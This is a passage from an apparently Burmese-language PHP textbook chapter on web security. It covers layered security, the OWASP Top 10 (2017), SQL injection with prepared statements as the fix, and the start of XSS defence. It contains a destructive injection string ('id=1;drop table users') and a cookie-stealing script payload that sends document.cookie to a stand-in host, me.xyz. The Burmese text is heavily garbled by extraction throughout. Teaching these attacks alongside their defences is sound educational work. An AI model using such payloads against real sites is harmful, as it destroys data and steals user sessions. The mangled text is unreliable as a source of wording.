တယ်။ ကြေသချာထည့် မကြေgပာgoစ်ခဲ့တာကကြေတာ့ လံုခြခံုကြေရးနဲ့ ပက်သက်တဲ့အပုိင်းပဲ goစ်ပါတယ်။ ဒါကြေeကာင့် ဒီ
အခန်းမှာ သိသင့်တဲ့ လံုခြခံုကြေရးဗဟုသုတ အချ ို ့ကို ထည့်သွင်းကြေoာ်gပကြေပးမှာပါ။

လုံခြခံုကြေရးနဲပ့က်သက်ရင် ပထမဆံုး မှတ်သားသင့်တဲ့ အချက်ကကြေတာ့ ၁၀၀  %   လုံခြခံုတဲ့ စနစ်ဆိုတာ   မရှိနိုင်
yူးဆိုတဲ့  အချက်ပဲgoစ်ပါတယ်။  နည်းနည်းလံုခြခံုတာနဲ၊့  များများလံုခြခံုတာပဲ  ကွာသွားပါမယ်။  အgပည့်အဝ
လုံခြခံုတယ်ဆိုတာကြေတာ့  မရှိနိုင်ပါတယ်။  လံုခြခံုကြေရးဆိုတာ  Risk  Management  လုပ်ငန်းလုိ့  ကြေgပာeကပါ
တယ်။  yယ်ကြေလာက်ထိ  လံုခြခံုကြေအာင်  လုပ်မှာလဲဆိုတာကို  လုိအပ်ချက်ကြေပါ်  မူတည်ပြပီး  တွက်ချက်ရတဲ့
အလုပ်ပါ။ ဒါကိုgမင်သာကြေအာင် လူကြေနအိမ်တစ်လံုးနဲ ့ဥပမာကြေပးလုိရ့ပါတယ်။

တံခါးမရှိတဲ့အိမ်တစ်လံုးဟာ လံုခြခံုမှုလုံးဝမရှိတဲ့အိမ်လုိ့ ဆိုနိုင်ပါတယ်။ ဒါကြေeကာင့် လံုခြခံုမှုရှိသွားကြေအာင် အ့ဲဒီ
အိမ်ကို  တံခါးတပ်ပြပီး  ကြေသာ့ခတ်လုိက်မယ်ဆိုရင်  လံုခြခံုသွားပါတယ်။  လံုခြခံုသွားပြပီဆိုကြေတာ့  အgပည့်အဝ
လုံခြခံုသွားတာလား။  မဟုတ်ကြေသးပါyူး။  ကြေသာ့ကိုoျက်ပြပီး  ဝင်မယ်ဆိုရင်  ဝင်လုိ့  ရနိုင်ပါကြေသးတယ်။
ကြေနာက်ကြေoးကြေပါက်က လှည့်ဝင်မယ်ဆိုရင် ရနိုင်ပါကြေသးတယ်။ gပူတင်းကြေပါက်ကိုခွဲဝင်မယ်ဆိုရင် ရနိုင်ပါကြေသး
တယ်။ ဒါကြေeကာင့် ဒီထက်ပုိလံုခြခံုသွားကြေအာင် အုတတ်ံတိုင်းခတ်လုိက်လုိ့ ရပါတယ်။ ဒီလုိ အုတ်တံတိုင်း ခတ်
လုိက်တဲ့အတွက် အရင်ထက်ပုိပြပီး  လုံခြခံုသွားပါပြပီ။  လုံခြခံုကြေရးတစ်ဆင့် gမင့်သွားပါပြပီ။  ဒါဆိုရင်  အgပည့်အဝ
လုံခြခံုပြပီလား  ဆိုရင်ကြေတာ့  မဟုတ်ကြေသးပါyူး။  ကြေကျာ်တက်မယ်ဆိုရင်  တက်လုိရ့နိုင်ပါတယ်။  ဒါကြေeကာင့်
သံဆူးကြကိုး ထပ်တင်မယ်ဆိုရင် ကြေနာက်တပ်လုံခြခံုကြေရးတစ်ဆင့် gမင့်သွားgပန်ပါပြပီ။ စီစီတီဗီွကြေတွ တပ်ပြပီးကြေတာ့
လုံခြခံုကြေရး  gမှင့်လုိရ့နိုင်ပါကြေသးတယ်။  လူကြေစာင့်ထားပြပီးကြေတာ့  gမှင့်လုိ့  ရနိုင်ပါကြေသးတယ်။  ဒီထက်မက
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အဆုံးစွန်ထိ လုပ်ချင်တယ်ဆိုရင်ကြေတာ့ စပုိင်ရုပ်ရှင်ကြေတွထဲကလုိ Motion Sensor ကြေတွ၊ Alarm ကြေတွ၊ ဗုိအ့ား
gမင့်  လျှပ်စစ်အားလွှတ်  ခြခံစည်းရုိးကြေတွထိ လုပ်ရပါကြေတာ့မယ်။ ဒါကြေတွအားလုံးလုပ်ပြပီးရင်ကြေတာ့ အgပည့်အဝ
လုံခြခံုသွားပြပီလား။ မဟုတ်ကြေသးပါyူး။ ကြေတာ်ကြေတာ်ကြကီးကြေတာ့ လံုခြခံုသွားပါပြပီ။ ထုိးကြေoာက်ဝင်ကြေရာက်oုိ့ အရမ်း
ခက်သွားပါပြပီ။ ဒါကြေပမယ့် ၁၀၀% လုံးဝ လုံခြခံုသွားပြပီလုိ့ကြေတာ့ ကြေgပာလုိရ့နိုင်မှာ မဟုတ်ပါyူး။

ဒီသကြေyာသyာဝကြေeကာင့် လံုခြခံုကြေရးကို  Risk Management  လုိ့ကြေgပာeကတာပါ။ yယ်ကြေလာက် အကြေရးကြကီး
တဲ့ကိစ္စလဲ။  yတ်င်္ဂျက်yယ်ကြေလာက်ထိ တတ်နိုင်လဲ။  စသည်goင့်  အကြေရးကြကီးမှုနဲ့  ကြေပးနိုင်တဲ့yတ်င်္ဂျက်ကြေပါ်
မှာ အကြေကာင်းဆုံးရလဒ်တစ်ခုရကြေအာင် တွက်ချက်ကြေဆာင်ရွက်ရတဲ့ လုပ်ငန်း အမျ ို းအစားပါ။

ပြပီးကြေတာ့ လံုခြခံုကြေရးနဲ့ အသုံးgပုရ အဆင်ကြေgပလွယ်ကူမှုဟာ ကြေgပာင်းgပန်အချ ို းကျ ကြေနgပန်ပါတယ်။ ကြေစာကြေစာက
ကြေgပာခဲ့တဲ့  အိမ်နမူနာမှာပဲ  gပန်eကည့်ပါ။  တံခါးမရှိ  ကြေသာ့မရှိဆိုကြေတာ့  ဝင်ရထွက်ရတာ  အရမ်းလွယ်တယ်
ကြေလ။ တံခါးတပ်ပြပီး  ကြေသာခတ်ထားကြေတာ့ ဝင်ခါနီး  ထွက်ခါနီးရင်  ကြေသာခတ်၊  ကြေသာ့oွင့်  ကြေနရပါကြေသးတယ်။
လုံခြခံုကြေရးအဆင့်  gမှင့်လုိက်တိုင်းမှာ  အဆင်ကြေgပလွယ်ကူမှုကို  ကြေလျာ့ကျသွားကြေစနိုင်ပါတယ်။  လူလာတာနဲ့
အိမ်ရှင်မှန်းသိပြပီး  တံခါးက အလုိအကြေလျှာက်  oွင့်ကြေပးရင်ကြေတာ့  အဆင်ကြေgပလွယ်ကူမှုကို  မထိခိုက်ကြေတာ့yူး
ကြေပါ။့  ဒါကြေပမယ့်  အ့ဲဒီလုိစနစ်မျ ို း  ရoုိ့  ကုန်ကျစရိတ်ကြေတာ့ ရှိသွားပါပြပီ။  ဒါကြေeကာင့်  Security,  Usability  နဲ့
Cost  ကုန်ကျစရိတ် တိုဟ့ာ သံုးပွင့်ဆိုင် အားပြပိုင်eကရတယ်လုိလ့ည်း ဆိုနိုင်ပါတယ်။  (၃)  ခုထဲက နှစ်ခုကို
ကြေရွးရပါလိမ့်မယ်။ (၃) ခုလုံးကြေတာ့ မရနိုင်ပါyူး။

ကြေနာက်တစ်ခါ၊ လံုခြခံုကြေရးမှာ အလွှာလုိက် အဆင့်ကြေတွလည်း ရှိပါကြေသးတယ်။ Web Application တစ်ခုမှာဆို
ရင်  Application Security,  Software Security,  Network Security,  Hardware Security,  Physical
Security  စသည်goင့်  အဆင့်ဆင့် ရှိနိုင်ပါတယ်။  Application  Security  ဆိုတာ ကြေရးသားထားတဲ့  ကုဒ်နဲ့
အသုံးgပုထားတဲ့  နည်းပညာကြေတွရဲ့  လံုခြခံုစိတ်ချရမှု  goစ်ပါတယ်။  Software  Security  ဆိုတာ  ဒီ
Application ကို  Run oုိ့ အသုံးgပုထားတဲ့  Web Server, Programming Language, Server Operating
System  စတဲ့  ကြေဆာ့o်ဝဲကြေတွရဲ့  လံုခြခံုမှုပါ။  Network  Security  ကကြေတာ့  Application  Server  ရှိကြေနတဲ့
Network ကွန်ယက်ရဲ့ လံုခြခံုမှုပါ။  Hardware Security ကကြေတာ့ Server ကွန်ပျူတာအပါအဝင် တပ်ဆင်
အသုံးgပုထားတဲ့  စက်ပစ္စည်းကြေတွရဲ့  လံုခြခံုမှုပါ။  Physical  Security  ကကြေတာ့  တပ်ဆင်ထားတဲ့  Server
တည်ရှိရာ  Data Center  သုိ့မဟုတ်  Server Room ရဲ့ လံုခြခံုမှုပါ။ ဒီအဆင့်ကြေတွထဲက တစ်ခုမှာ လံုခြခံုကြေရး
အားနည်းချက်ရှိတာနဲ့  စနစ်တစ်ခုလံုးကို  ထိခိုက်သွားကြေစမှာ  goစ်ပါတယ်။  ဒါကြေတွအားလုံး  လံုခြခံုသင့်
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သကြေလာက် လုံခြခံုပါတယ် ဆိုရင်ကြေတာင် Human Error က ရှိနိုင်ပါကြေသးတယ်။ စရိတ်ကြေတွ အကုန်ခံပြပီး လုံခြခံု
ကြေအာင် လုပ်ထားရကြေပမယ့်၊ တစ်ကယ်တမ်းgoစ်ချင်ကြေတာ့ Admin User ဆီက Password ရသွားလုိ့ အကုန်
ပါသွားတယ်ဆိုတာမျ ို းက  ခဏခဏeကားကြေနရတာပါ။  ဒီလုိ  လူကြေeကာင့်  goစ်တဲ့  လံုခြခံုကြေရးgပဿနာက
ကြေစာကြေစာကကြေgပာတဲ့ လုံခြခံုကြေရးအလွှာကြေတွမှာ goစ်တဲ့ gပဿနာထက်ကြေတာင် ပုိများနိုင်ပါကြေသးတယ်။

ဒီလုိမျ ို းကိစ္စကြေတွကြေeကာင့်ပဲ ခက်ခဲကျယ်gပန့်တဲ့ သီးgခားyာသာရပ်တစ်ခုလုိ့ကြေgပာတာပါ။ စာကြေရးသူကိုယ်တိုင်
ကကြေတာ့ အ့ဲဒီyာသာရပ်ကို အထူးgပုကျွမ်းကျင်သူ မဟုတ်ပါyူး။ ကိုယ့်အိမ်လံုကြေအာင် ကြေသာ့ခတ်ရတယ် ဆို
တာကြေလာက်ကို  သိရှိသူ  Developer  တစ်ဦးသာgoစ်ပါတယ်။ လက်ကြေတွ့လုပ်ငန်းခွင်မှာ အထူးgပုကျွမ်းကျင်
သူကြေတွရဲ့ အကူအညီကို  ယူနိုင်ရင် ပုိကြေကာင်းပါတယ်။ ယူနိုင်သည်goစ်ကြေစ မယူနိုင်သည်goစ်ကြေစ ကြေရးထားတဲ့
ကုဒ်မှာ ကြေတွ့ရကြေလ့ရှိတဲ့ လံုခြခံုကြေရး gပဿနာကြေတွကို ကြေgoရှင်းကြေပးရမှာကကြေတာ့  Developer  ကြေတွရဲ့ တာဝန်ပဲ
goစ်ပါတယ်။

OWASP Top 10
Web Application Security  နဲ့ပက်သက်ရင် အဓိကအကျဆံုး  ကိုးကားကြေလ့လာစရာကကြေတာ့  OWASP  လုိ့
အတိုကြေကာက်ကြေခါ်တဲ့ Open Web Application Security Project ပဲ goစ်ပါတယ်။ အရင်ကဆိုရင် OWASP
Top 10 ဆိုပြပီးကြေတာ့ Web Application ကြေတွမှာ ကြေတွ့ ရကြေလ့ရှိတဲ့ အဓိက လံုခြခံုကြေရးgပဿနာစာရင်းကို မeကာ
မeကာ ထုတ်gပန်ကြေပးကြေလ့ ရှိပါတယ်။ ဒီစာကို ကြေရးသားကြေနချနိ်မှာ ကြေနာက်ဆံုးထုတ်gပန်ထားတဲ့ (၂၀၁၇) ခုနှစ်
အတွက် အကြေတွ့ရအများဆံုး လုံခြခံုကြေရးgပဿနာစာရင်းက ဒီလုိပါ –

1. Injection – ဒီကဏ္ဍမှာ ပါဝင်တဲ့ SQL Injection အကြေeကာင်းကို ခဏကြေနကြေတာ့မှ ကြေgပာပါမယ်။

2. Broken Authentication – User Login Data ကို Cookie ထဲမှာသိမ်းမိတယ် ဆိုeကပါစို။့ ဒုက္ခကြေပး
ချင်သူက သူ့ Cookie ကို oွင့်eကည်လုိက်တဲ့အခါ role=1 ဆိုတဲတ့န်oုိးတစ်ခုကို ကြေတွ့သွားတယ်
ဆိုရင် အ့ဲဒီ တန်oုိးကို role=3 လုိ့ကြေgပာင်းလုိက်တာနဲ့ ရုိးရုိး User goစ်ရမယ့်သူက Admin User 
goစ်သွားပါပြပီ။ Broken Authentication ဆိုတာ အ့ဲဒီလုိgပဿနာမျ ို းကြေတွကို ကြေgပာတာပါ။ နည်း
နည်း ပုိလုံခြခံုကြေအာင် Session ထဲမှာကြေတာ့ သိမ်းထားပါရဲ့၊ Session ID ကြေတွက ကြေပါ်ကြေနရင် အ့ဲဒီ ID 
ကြေတွယူသုံးပြပီး ဒုက္ခကြေပးတာမျ ို းကြေတွကလည်း ရှိနိုင်ပါကြေသးတယ်။ ဒီသကြေyာမျ ို းကြေတွကိုကြေgပာတာပါ။
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3. Sensitive Data Exposure – ပကြေရာင်္ဂျက်မှာ လုိအပ်လုိ ့တစ်ချ ို ့အကြေရးကြကီးတဲ့ အချက်အလက်ကြေတွ
ကို oုိင်နဲသိ့မ်းပြပီး ပကြေရာင်္ဂျက်oုိဒါထဲမှာ ထည့်ထားမိတာမျ ို းကြေတွ ရှိတတ်eကပါတယ်။ ကြေနာက်မှ gပန်
oျက်မယ်ဆိုပြပီး မoျက်goစ်yဲ ကြေမ့သွားတာပဲgoစ်goစ်၊ yယ်သူမှ မသိကြေလာက်ပါyူးဆိုပြပီး ထားလုိက်
မိတာမျ ို းပဲgoစ်goစ် အကာအကွယ်မရှိyဲ ကျန်ကြေနတတ်ပါတယ်။ Github တို ့yာတိုမှာ Source 
Code ကြေတွ တင်eကတဲ့အခါ Server Database Password ကြေတွက ကုဒ်ထဲမှာ ပါကြေနလုိ ့လူတိုင်း
ကြေတွ့ ကြေနရတာမျ ို းကြေတွက အများကြကီး ရှိကြေနပါတယ်။ ဒီလုိgပဿနာမျ ို းကို ကြေgပာတာပါ။

4. XML External Entities (XXE) – ဒီgပဿနာကိုကြေတာ့ စာကြေရးသူကိုယ်တိုင် မကြကံုoူးတဲ့အတွက် 
ကြေသချာမသိပါyူး။

5. Broken Access Control – ဒီgပဿနာက ကျွန်ကြေတာ်တို့ ကြေရးခဲ့တဲ့ နမူနာပကြေရာင်္ဂျက်မှာကို ရှိကြေနပါ
တယ်။ စစ်ရမယ့် Authentication ကို စံုကြေအာင်မစစ်မိyဲ ကျန်ကြေနတာမျ ို းပါ။ Login ဝင်ထားသူမှ 
အသုံးgပုခွင့်ကြေပးမယ့် ကိစ္စကြေတွကို Auth::check() နဲ ့စစ်ရပါတယ်။ မစစ်မိyဲ ကျန်ကြေနတဲ့ oုိင်
ကြေတွ ရှိပါတယ်။ ဥပမာ - _actions/populate.php။ ပြပီးကြေတာ့ Manger သုိ့မဟုတ် Admin 
မှလုပ်ခွင့်ကြေပးမယ်သာ ကြေgပာတာပါ။ delete.php တို့ suspend.php တိုမှ့ာ 
Auth::check() ပဲစစ်ထားပါတယ်။ Role Value ကို မစစ်ထားပါyူး။ ဒါကြေeကာင့် ရုိးရုိး User 
ကသာ ဒါကိုသိမယ်ဆိုရင် သူ့မှာ အခွင့်မရှိyဲ Delete တို ့Suspend တိုက့ို လုပ်လုိရ့သွားမှာပါ။

6. Security Misconfiguration – ဒါကကြေတာ့ Web Server ကြေတွ Database Server ကြေတွမှာ Local 
မှာသုံးတဲ့ Setting နဲ ့Production မှာ သုံးမိeကတာမျ ို းကြေတွပါ။ ဥပမာ – လက်ရှိ MySQL မှာ 
Username root နဲ ့Password မရှိပါyူး။ အ့ဲဒါကို Server ကြေပါ်တင်သံုးမိတာမျ ို းကြေတွ goစ်တတ်ပါ
တယ်။ ကြေရှ့မှာကုဒ်ကြေတွနဲ့ အကြေသစစ်ထားကြေပမယ့် ကြေနာက်က Database ကြကီးက ဒီအတိုင်း ဝင်လုိရ့
ကြေနတာမျ ို းပါ။

7. Cross-Site Scripting (XSS) – ဒီအကြေeကာင်းကို ခဏကြေနမှ ကြေgပာပါမယ်။

8. Insecure Deserialization – PHP မှာ eval() ဆိုတဲ့ Function တစ်ခုရှိပါတယ်။ String ကြေတွ
ကို ကြေပးလုိက်ရင် Code အကြေနနဲ ့Run ကြေပးနိုင်ပါတယ်။ ဥပမာ – eval("echo 1 + 2;")။ 
တစ်ချ ို ့ပကြေရာင်္ဂျကက်ြေတွမှာ တစ်ကြေနရာကကြေန ကုဒ်ကြေတွကို Download လှမ်းယူပြပီး eval() နဲ ့Run 
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လုိက်တယ်ဆိုတဲ့သကြေyာမျ ို းကြေတွ သုံးeကပါတယ်။ ဒီလုိကုဒ်ကြေတွဟာ အလွန်အန္တရာယ်များတဲ့ ကုဒ်
ကြေတွပါ။ ယူလုိက်တဲ့ Content ကိုကြေသချာမစစ်yဲ Run မိတဲ့အခါ ဒုက္ခကြေပးနိုင်တဲ့ ကုဒ်ကြေတွပါလာလုိ ့
အကြကီးအကျယ် gပဿနာတက်ရတာမျ ို းကြေတွ ရှိနိုင်ပါတယ်။ ဒီသကြေyာမျ ို းကို ကြေgပာတာပါ။

9. Using Component with Known Vulnerabilities – ဒီစာကိုကြေရးကြေနချနိ်နဲ့ မကြေရှးမကြေနှာင်းမှာပဲ အ
ကြေမရိကန်သမ°တရဲ့ အိမ်goူကြေတာ်ဝy်ဆိုက်ကို WordPress လုိ့ကြေခါ်တဲ့ PHP CMS နည်းပညာနဲ့ 
တည်ကြေဆာက်ထားတာ သတိgပုမိပါကြေသးတယ်။ WordPress ဝy်ဆိုက်ကြေတွဟာ Hack ရလွယ်
တယ်၊ လံုခြခံုကြေရး အရမ်းအားနည်းတယ်ဆိုပြပီးကြေတာ့ နာမည်ဆိုးပါတယ်။ အိမ်goူကြေတာ်ဝy်ဆိုက်လုိ
မျ ို းကကြေတာင် သုံးထားတာပဲ၊ တစ်ကယ်ကြေတာ့ WordPress က လုံခြခံုကြေရးအားမနည်းပါyူး။ 
WordPress ကိုအသုံးgပုထားတဲ့ ဝy်ဆိုက်ကြေတွမှာ လုံခြခံုကြေရးgပဿနာ များရgခင်း အကြေeကာင်းရင်း
ကကြေတာ့ လုံခြခံုကြေရးအရည်အကြေသွး အားနည်းလွန်းတဲ့ Themes ကြေတွ Plugins ကြေတွကို သုံးထားမိeက
လုိပ့ါ။ ဒီသကြေyာမျ ို းကို ကြေgပာတာပါ။

10. Insufficient Logging & Monitoring – လုံခြခံုကြေရး gပဿနာတစ်ခုတက်လာတဲ့အခါ yာကြေeကာင့်
လဲဆိုတဲ့ ရင်းgမစ်ကို အရင်ရှာရမှာပါ။ ရင်းgမစ်ကို ကြေတွ့ပြပီဆိုကြေတာ့မှသာ ကြေနာင်မgoစ်ကြေအာင် ကြေgoရှင်း
လုိ့ ရမှာပါ။ ဒီလုိရင်းgမစ်ကို သိoုိဆ့ိုရင် Login Log ကြေတွ Access Log ကြေတွ Error Log ကြေတွနဲ့ yယ်
ကြေန ့yယ်အချနိ်မှာ yယ်သူဝင်သွားတယ်၊ yယ်အချနိ်မှာ yာ Error တက်သွားတယ်ဆိုတာကို 
gပန်eကည့်လုိ့ ရoုိ့လုိသလုိ၊ အပြမဲကြေစာင့်eကည့်လုိရ့တဲ့ စနစ်ကြေတွလည်း ရိှoုိလုိ့ပါတယ်။ ဒီလုိစနစ်ကြေတွ
မရှိတဲ့အခါမှာလံုခြခံုကြေရးgပဿနာရှိလာခဲ့ရင် အကြေပါ်ယံgမင်ရတာကြေလာက်ကိုသာ ကြေgoရှင်းမိပြပီး 
ရင်းgမစ်ကို မကြေgoရှင်းမိလုိ့ ကြေနာင်မှာ အလားတူgပဿနာကြေတွ ထပ်ခါထပ်ခါ gပန်တက်ကြေနတယ်ဆို
တာမျ ို းကြေတွ ရှိနိုင်ပါတယ်။

�ှတ်ချက် ။ ။ ဒီစာအုပ်ရဲ့  (၂၀၂၃) Version Update အတွက် တည်းgoတ်မှုကြေတွ gပုလုပ်ကြေနချနိ်မှာ OWASP
Top 10 (2021) ထွက်ရှိကြေနပြပီ goစ်ပါတယ်။ ကြေoာ်gပထားတဲ့လိပ်စာမှာ ဆက်လက်ကြေလ့လာနိုင်ပါတယ်။

– https://owasp.org/www-project-top-ten/

https://owasp.org/www-project-top-ten/
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ဒီgပဿနာကြေတွထဲက  Broken  Authentication  တို့  Broken  Access  Control  တိုလုိ့  gပဿနာများကို
ကြေရှာင်ရှားoုိအ့တွက်  Authentication    လုပ်ကြေဆာင်ချက်ကို  ကိုယ်တိုင်အစအဆံုး  ချကြေရးမယ့်အစား၊    Proven  
goစ်ပြပီးသား၊ အများဝုိင်းဝန်းစမ်းသပ်ပြပီးသား စနစ်မျ ို းကို ရယူအသံုးgပုသင့်ပါတယ်။ ကိုယ်တိုင်ချကြေရးတဲ့အခါ
တစ်ခုမဟုတတ်စ်ခုကျန်မှာပါပဲ။ တစ်ကြေနရာမဟုတ် တစ်ကြေနရာ လွတ်ကြေနမှာပါပဲ။ Laravel တို့  Symfony တို့
လုိ့  Framework  ကြေတွမှာ ဒီလုိအသင့်ရယူအသံုးgပုနိုင်တဲ့  Proven  goစ်ပြပီးသား  Authentication  စနစ်ကြေတွ
ပါဝင်eကပါတယ်။  Sensitive Data Exposure  အတွက်ကြေတာ့ အကြေရးကြကီးတဲ့  ကြေဒတာကြေတွကို  ပကြေရာင်္ဂျက်ထဲ
မှာ၊  Source Code ထဲမှာ ကြေရာမထားမိoုိ့ ကိုယ်တိုင်က သတိထားရမှာပါ။ ခဲွထုတ်ထားလုိရ့မယ့် နည်းလမ်း
ကြေတွကို ကြကံဆအသုံးgပုeကရမှာပါ။ 

Security  Misconfiguration  လုိ  gပဿနာမျ ို းအတွက်  သက်ဆိုင်ရာ  Server  Configuration  ပုိင်းကို
နားလည်တဲ့  System Administrator  ကြေတွရဲ့  အကူအညီကို  ယူသင့်ပါတယ်။  သုိမ့ဟုတ်  Server  စီမံတဲ့
အလုပ်ကို  ကိုယ်တိုင်မလုပ်yဲ အသင့်သုံးလုိရ့တဲ့  Hosting, VPS, Cloud Service  ကြေတွကို  အသုံးgပုသင့်ပါ
တယ်။ Using Component with Known Vulnerabilities အတွက်ကလည်း အတူတူပါပဲ။ ကိုယ်တိုင်စီမံ
မယ်ဆိုရင် အသံုးgပုထားတဲ့ နည်းပညာနဲ့  Software  အားလုံးကို  Update အပြမဲgoစ်ကြေနကြေအာင် င်္ဂရုစိုက်eကရ
မှာပါ။  ပုိကြေကာင်းတာကကြေတာ့  စီမံကြေပးနိုင်တဲ့  Service  ကြေတွအသုံးgပုလုိက်တာ  အကြေကာင်းဆံုးပါပဲ။  ဒီလုိ
Service  ကြေတွ အသုံးgပုgခင်းအားgoင့်  Insufficient Logging & Monitoring  gပဿနာကိုလည်း ကြေgoရှင်းပြပီး
goစ်ကြေစနိုင်ပါတယ်။ ဒီ  Service  ကြေတွမှာ  Logging  နဲ့  Monitoring  လုပ်ကြေဆာင်ချက်ကြေတွ ပါဝင်ကြေလ့ ရှိeကပါ
တယ်။ ဒါကြေတွက ကုဒ်ကြေeကာင့်goစ်တဲ့  gပဿနာမဟုတ်yဲ  Server Management  နဲသ့က်ဆိုင်တဲ့  gပဿနာ
ကြေတွ goစ်သွားပါပြပီ။

ကုဒ်ကြေeကာင့်goစ်ကြေလ့ရှိတဲ့ gပဿနာကြေတွထဲက အဓိကအကျဆံုး (၃) ခုကို ကြေရွးထုတ်ပြပီး ဆက်လက်ကြေoာ်gပချင်
ပါတယ်။
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SQL Injection
SQL Injection ဆိုတာ User Input နဲ့အတူ SQL Query ကြေတွ ကြေရာထည့်ပြပီး တုိက်ခိုက်တဲ့နည်းလမ်း goစ်ပါ
တယ်။ တစ်လက်စထဲ မှတ်ထားသင့်ပါတယ်။  User Input  ဆိုရင်  yယ်  User Input  ကိုမှ  မယုံရပါyူး။
URL Query အကြေနနဲလ့ာတဲ့ Input ကြေတွ၊ Form ကကြေနလာတဲ့ Input ကြေတွ၊ အားလုံးမှာ အသုံးဝင်တဲ့ Data ပါ
နိုင်သလုိ၊  အကြေနှာက်အယှက်ကြေပးမယ့်  Data  နဲ့  ဒုက္ခကြေပးမယ့် ကုဒ်ကြေတွ ကြေရာပြပီးကြေတာ့ ပါလာနိုင်ပါတယ်။ ဒါ
ကြေeကာင့် Input   ဆိုရင် yယ်   Input   ကိုမှ မယုံရyူးဆိုတဲ့မူကို လက်ကိုင်ထားoုိ့ လုိအပ်ပါတယ်  ။

ကိုယ့်ပကြေရာင်္ဂျက်ထဲမှာ အခုလုိကြေရးထားတဲ့ကုဒ် ရှိတယ်ဆိုeကပါစို့။

// get.php

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = $id";

$_GET ကကြေန ယူထားတဲ့အတွက် URL Query အကြေနနဲ့ ပါဝင်လာတဲ့ Input Data goစ်တဲ့ id ကို ယူလုိက်
တာပါ။ id ဟာ 1, 2, 3, 4 စတဲ့ ကိန်းင်္ဂဏန်းကြေတွgoစ်မယ်လုိ့ ကြေမျှာ်မှန်းပြပီးကြေတာ့ ကုဒ်ကို ကြေရးထားတာပါ။ ဒါ
ကို ဒုက္ခကြေပးချင်ရင် id ကိန်းင်္ဂဏန်းကြေပးရမယ့်ကြေနရာမှာ အခုလုိ ကြေပးပြပီးကြေတာ့ ဒုက္ခကြေပးနိုင်ပါတယ်။

get.php?id=1;drop table users

ဒါကြေeကာင့် id ရဲ့တန်oုိး 1;drop table users goစ်သွားပါပြပီ။ အ့ဲဒီ id တန်oုိးကို ကြေရးထားတဲ့ SQL
ထဲမှာ ထည့်ထားလုိ့ကြေနာက်ဆံုးရလဒ်က အခုလုိgoစ်သွားပြပီ goစ်ပါတယ်။

SELECT * FROM users WHERE id = 1;drop table users

ဒါကြေeကာင့် ဒီ Query ကိုသာ တိုက်ရုိက် Run လုိက်မယ်ဆိုရင် drop table users ဆိုတဲ့ Statement
အသက်ဝင်ပြပီး users Table ပျက်သွားမှာ goစ်ပါတယ်။ SQL Injection ဆိုတာ ဒီသကြေyာမျ ို းကို ကြေgပာတာ
ပါ။ User Input နဲအ့တူကို SQL ကို Inject လုပ်ပြပီးကြေပးတဲ့နည်းနဲ့ Data ကြေတွကို အခွင့်မရှိyဲ ယူလုိ၊့ gပင်လုိ၊့
oျက်လုိ့ ရကြေနနိုင်တဲ့ သကြေyာပဲ goစ်ပါတယ်။
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Prepare Statement ကို အသံုးgပုထားမယ်ဆိုရင် ဒီလုိ SQL Injection ကို ကြေeကာက်စရာမလုိကြေတာ့ပါyူး။
Query ကို အရင် Prepare လုပ်ပြပီး၊ ကြေနာက်မှာ Input Data ကိုကြေပးတဲ့အတွက် အ့ဲဒီ Data ထဲမှာ ပါလာတဲ့
Query  ဟာ အသက်မဝင်ကြေတာ့တဲ့အတွက်ကြေeကာင့် goစ်ပါတယ်။ ဒါကြေeကာင့် တgခားနည်းလမ်းကြေတွလည်း ရှိ
ကြေသးကြေပမယ့်  SQL  Injection  Attack    ကို  ကာကွယ်oုိ့  အကြေကာင်းဆံုးနည်းလမ်းကကြေတာ့    Prepare  
Statement   ကို အသုံးgပုgခင်းgoစ်တယ်   လုိ့ မှတ်နိုင်ပါတယ်။

XSS – Cross-site Scripting
Cross-site Scripting ကို Script Injection လုိလ့ည်း ကြေခါ်eကပါတယ်။ SQL Injection ဆိုတာ User Input
ထဲမှာ  SQL Query  ကြေတွထည့်ပြပီး  ဒုက္ခကြေပးတဲ့နည်းလုိဆ့ိုရင်  XSS  ဆိုတာ  User Input  ထဲမှာ  JavaScript
ကြေတွထည့်ပြပီး ဒုက္ခကြေပးတဲ့နည်းလုိ့ ဆိုနိုင်ပါတယ်။ 

သူကကြေပးလုိက်တဲ့အချနိ်မှာ  ချက်gခင်းဒုက္ခမကြေပးyဲ၊  အ့ဲဒီ  JavaScript  ကြေတွပါကြေနတဲ့  Data  ကိုgပန်သုံးတဲ့
အချနိ်ကျကြေတာ့မှ  ဒုက္ခကြေပးတာပါ။  ဒါကြေeကာင့်  Input    ဆိုရင်  yယ်    Input    မှ  မယုံရyူးဆိုတဲ့  မူနဲအ့တူ၊  
Output   ကြေတွကိုလည်း မယုံရyူး   လုိ့ တွဲမှတ်oုိ့ လုိအပ်ပါတယ်။

ဥပမာ – User ဆီက Comment ကိုကြေတာင်းတဲ့  Form တစ်ခုရှိတယ်ဆိုeကပါစို။့ တစ်ကယ်တမ်း Input မှာ
ကြေရးgoည့်ရမှာက Comment အgoစ်ကြေပးချင်တဲ့ စာကို ကြေရးရမှာပါ။ အ့ဲဒါကို User က စာမကြေရးyဲ၊ အခုလုိ ကြေရး
ထည့်သွားနိုင်ပါတယ်။

<script>location.href='http://me.xyz?c='+document.cookie</script>

စာမကြေရးyဲ  JavaScript  ကုဒ်ကြေရးထည့်သွားတာပါ။ အ့ဲဒီကုဒ်ကို  Table  ထဲမှာ သိမ်းလုိက်ပြပီး၊ gပန်gပတဲ့အခါ
ကြေရးထားတဲ့ ကုဒ်က Run သွားမှာ goစ်ပါတယ်။ ဒါကြေeကာင့် အ့ဲဒီကုဒ်ရှိကြေနတဲ့  Content  ကို eကည့်မိသူ User
တိုင်းရဲ့  Cookie Data ကြေတွကို နမူနာအရ me.xyz ဝy်ဆိုက်ထံ ကြေပးပုိ့gခင်းအားgoင့် ခိုးယူခံရပါပြပီ။ Cookie
ထဲမှာ Session ID လုိ အကြေရးကြကီးတဲ့ အချက်အလက်ကြေတွ ရှိကြေနနိုင်ပါတယ်။
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ဒီgပဿနာကို  ကြေgoရှင်းoုိအ့တွက် အလွယ်ဆံုးနည်းလမ်းကကြေတာ့  PHP  ရဲ့  htmlspecialchars() ဆို
တဲ့  Function  ကို  အသုံးgပုgခင်းgoစ်ပါတယ်။ ဒီ  Function  က  Content  ထဲမှာပါတဲ့  Special  Character
ကြေတွကို  Encode လုပ်ကြေပးပါတယ်။ ဥပမာ –  <script> ဆိုရင်  &lt;script&gt; goစ်သွားမှာပါ။  <
ကို &lt; နဲ့ Encode လုပ်ကြေပးပြပီး > ကို &gt; နဲ့ Encode လုပ်ကြေပးလုိက်လုိ့ ကြေရးထားတဲ့ <script> Tag
